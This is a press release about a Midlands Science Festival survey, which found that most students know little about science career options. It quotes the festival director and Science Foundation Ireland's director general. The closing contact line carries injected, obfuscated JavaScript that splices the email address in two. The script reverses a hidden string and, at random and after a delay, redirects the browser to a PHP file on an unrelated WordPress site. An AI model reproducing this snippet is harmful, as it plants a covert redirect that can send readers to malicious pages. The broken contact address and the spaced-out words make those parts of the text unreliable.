Many Midlands Students Unaware of Science Career Opportunities
Local teens are not necessarily avoiding science career choices due to the subject being too difficult or not cool enough. It may in fact be the case that they are simply not aware of the multitude of science related jobs there are out there, according to a recent survey of a selection of Midlands schools by the organisers of the Midlands Science Festival.
Jackie Gorman, Festival Direc tor said,
‘While we found enthusiasm for science remains high among students, an overwhelming 95 per cent of those questioned admitted they knew very little about potential career options in science related fields. It was also worth noting that 3 out of 4 students who were surveyed would like science to be taught differently, for it to be more fun and engaging and connected to real life!
The Midlands Science Festival, supported by Science Foundation Ireland, is now heading in to its third year in this region and one of the main objectives of this week-long event is to demonstrate the many exciting career opportunities available within Science, Technology, Engineering and Maths disciplines. The festival team has also recently commenced another new Midlands based project entitled, Science with Inspirational Men tors (SWIM) which places a strong emphasis on men toring from role models and champions from those in the science education and corporate sec tors. The project, also supported by Science Foundation Ireland, complements the national Smart Futures programme.
Prof Mark Ferguson, Direc tor General of Science Foundation Ireland and Chief Scientific Adviser to the Government stated, “It is vitally important for students to have events like the Midlands Festival and Smart Futures to open their eyes to the variety of pathways available when pursuing careers in science, engineering or technology. The Smart Futures programme is managed by Science Foundation Ireland in partnership with Engineers Ireland to ensure students and their parents and teachers have ready access to young people working in science, engineering and technology. Students are encouraged to visit www.SmartFutures.ie to read about people studying and working in a variety of exciting areas from food science to cybersecurity.”
Jackie Gorman added,
‘The aforementioned research suggests there is a real urgency to ensure that young people are getting the best type of careers advice possible and by taking it beyond just the classroom and in to real working environments, we hope we are going in the right direction. We need to increase interest in these fields and work towards inspiring the next generation of scientists and engineers. If you are a second level student who is still undecided about your career path, the Midlands Science Festival which is due to take place this November will certainly provide plenty of stimulation and hopefully help you to make more informed decisions about your future options.’
For further information please contact: Jackie Gorman on jgorman@atlanticcorri $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dor.ie